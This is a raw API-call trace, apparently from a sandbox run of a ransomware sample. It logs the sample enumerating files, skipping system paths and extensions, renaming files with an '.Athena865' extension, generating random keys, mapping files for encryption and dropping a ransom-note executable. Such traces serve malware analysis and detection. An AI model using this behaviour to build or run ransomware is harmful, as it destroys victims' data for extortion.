(lpString1="Tiki.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2=".") returned 1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2="..") returned 1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2="windows") returned -1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2="bootmgr") returned 1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2="temp") returned 1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2="pagefile.sys") returned 1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2="boot") returned 1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2="ids.txt") returned 1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2="ntuser.dat") returned 1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2="perflogs") returned 1 [0116.867] lstrcmpiW (lpString1="Tiki.gif", lpString2="MSBuild") returned 1 [0116.867] lstrlenW (lpString="Tiki.gif") returned 8 [0116.867] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Tiki.gif" | out: lpString1="Tiki.gif") returned="Tiki.gif" [0116.867] lstrlenW (lpString="Tiki.gif") returned 8 [0116.868] lstrlenW (lpString="Athena865") returned 9 [0116.868] lstrlenW (lpString=".dll") returned 4 [0116.868] lstrcmpiW (lpString1="Tiki.gif", lpString2=".dll") returned 1 [0116.868] lstrlenW (lpString=".lnk") returned 4 [0116.868] lstrcmpiW (lpString1="Tiki.gif", lpString2=".lnk") returned 1 [0116.868] lstrlenW (lpString=".ini") returned 4 [0116.868] lstrcmpiW (lpString1="Tiki.gif", lpString2=".ini") returned 1 [0116.868] lstrlenW (lpString=".sys") returned 4 [0116.868] lstrcmpiW (lpString1="Tiki.gif", lpString2=".sys") returned 1 [0116.868] lstrlenW (lpString="Tiki.gif") returned 8 [0116.868] lstrlenW (lpString="bak") returned 3 [0116.868] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.Athena865") returned 76 [0116.868] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.athena865"), dwFlags=0x1) returned 1 [0116.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.869] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4638) returned 1 [0116.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.869] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.870] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.870] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.870] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1520, lpName=0x0) returned 0x154 [0116.872] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1520) returned 0x100000 [0116.872] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.873] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.873] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.873] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2=".") returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="..") returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="windows") returned -1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="bootmgr") returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="temp") returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="pagefile.sys") returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="boot") returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="ids.txt") returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="ntuser.dat") returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="perflogs") returned 1 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="MSBuild") returned 1 [0116.874] lstrlenW (lpString="To_Do_List.emf") returned 14 [0116.874] lstrcpyW (in: lpString1=0x241e8bc, lpString2="To_Do_List.emf" | out: lpString1="To_Do_List.emf") returned="To_Do_List.emf" [0116.874] lstrlenW (lpString="To_Do_List.emf") returned 14 [0116.874] lstrlenW (lpString="Athena865") returned 9 [0116.874] lstrcmpiW (lpString1="_List.emf", lpString2="Athena865") returned -1 [0116.874] lstrlenW (lpString=".dll") returned 4 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2=".dll") returned 1 [0116.874] lstrlenW (lpString=".lnk") returned 4 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2=".lnk") returned 1 [0116.874] lstrlenW (lpString=".ini") returned 4 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2=".ini") returned 1 [0116.874] lstrlenW (lpString=".sys") returned 4 [0116.874] lstrcmpiW (lpString1="To_Do_List.emf", lpString2=".sys") returned 1 [0116.874] lstrlenW (lpString="To_Do_List.emf") returned 14 [0116.874] lstrlenW (lpString="bak") returned 3 [0116.875] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.Athena865") returned 82 [0116.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.athena865"), dwFlags=0x1) returned 1 [0116.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.876] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26720) returned 1 [0116.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.876] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.877] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.877] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.877] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b60, lpName=0x0) returned 0x154 [0116.878] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6b60) returned 0x100000 [0116.880] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.880] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.880] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.881] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2=".") returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="..") returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="windows") returned -1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="bootmgr") returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="temp") returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="pagefile.sys") returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="boot") returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="ids.txt") returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="ntuser.dat") returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="perflogs") returned 1 [0116.881] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="MSBuild") returned 1 [0116.881] lstrlenW (lpString="White_Chocolate.jpg") returned 19 [0116.881] lstrcpyW (in: lpString1=0x241e8bc, lpString2="White_Chocolate.jpg" | out: lpString1="White_Chocolate.jpg") returned="White_Chocolate.jpg" [0116.882] lstrlenW (lpString="White_Chocolate.jpg") returned 19 [0116.882] lstrlenW (lpString="Athena865") returned 9 [0116.882] lstrcmpiW (lpString1="olate.jpg", lpString2="Athena865") returned 1 [0116.882] lstrlenW (lpString=".dll") returned 4 [0116.882] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2=".dll") returned 1 [0116.882] lstrlenW (lpString=".lnk") returned 4 [0116.882] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2=".lnk") returned 1 [0116.882] lstrlenW (lpString=".ini") returned 4 [0116.882] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2=".ini") returned 1 [0116.882] lstrlenW (lpString=".sys") returned 4 [0116.882] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2=".sys") returned 1 [0116.882] lstrlenW (lpString="White_Chocolate.jpg") returned 19 [0116.882] lstrlenW (lpString="bak") returned 3 [0116.882] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.Athena865") returned 87 [0116.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg.athena865"), dwFlags=0x1) returned 1 [0116.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.884] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3168) returned 1 [0116.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.884] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.885] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.885] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.885] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf60, lpName=0x0) returned 0x154 [0116.888] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf60) returned 0x100000 [0116.888] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.889] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.889] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.890] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2=".") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="..") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="windows") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="bootmgr") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="temp") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="pagefile.sys") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="boot") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="ids.txt") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="ntuser.dat") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="perflogs") returned 1 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="MSBuild") returned 1 [0116.890] lstrlenW (lpString="Wrinkled_Paper.gif") returned 18 [0116.890] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Wrinkled_Paper.gif" | out: lpString1="Wrinkled_Paper.gif") returned="Wrinkled_Paper.gif" [0116.890] lstrlenW (lpString="Wrinkled_Paper.gif") returned 18 [0116.890] lstrlenW (lpString="Athena865") returned 9 [0116.890] lstrcmpiW (lpString1="Paper.gif", lpString2="Athena865") returned 1 [0116.890] lstrlenW (lpString=".dll") returned 4 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2=".dll") returned 1 [0116.890] lstrlenW (lpString=".lnk") returned 4 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2=".lnk") returned 1 [0116.890] lstrlenW (lpString=".ini") returned 4 [0116.890] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2=".ini") returned 1 [0116.890] lstrlenW (lpString=".sys") returned 4 [0116.891] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2=".sys") returned 1 [0116.891] lstrlenW (lpString="Wrinkled_Paper.gif") returned 18 [0116.891] lstrlenW (lpString="bak") returned 3 [0116.891] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.Athena865") returned 86 [0116.891] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.athena865"), dwFlags=0x1) returned 1 [0116.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.892] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15063) returned 1 [0116.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.892] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.893] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.893] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.893] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3de0, lpName=0x0) returned 0x154 [0116.894] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3de0) returned 0x100000 [0116.895] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.896] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.896] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.897] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0116.897] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0116.897] ReleaseMutex (hMutex=0xec) returned 1 [0116.897] CloseHandle (hObject=0xec) returned 1 [0116.897] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" [0116.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f00 | out: hHeap=0x4f0000) returned 1 [0116.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ae58 | out: hHeap=0x4f0000) returned 1 [0116.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned 55 [0116.897] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A76B3213D835A729EFD5531C550F6B41") returned 0xec [0116.897] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0116.897] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" [0116.897] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0116.897] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\how to back your files.exe"), bFailIfExists=1) returned 0 [0116.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0116.898] GetLastError () returned 0x0 [0116.898] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0116.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0116.898] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0116.899] CloseHandle (hObject=0xf4) returned 1 [0116.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.899] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0116.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0b4380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0116.899] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.899] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0116.899] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0116.899] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0b4380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.900] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.900] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0116.900] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0116.900] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0116.900] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 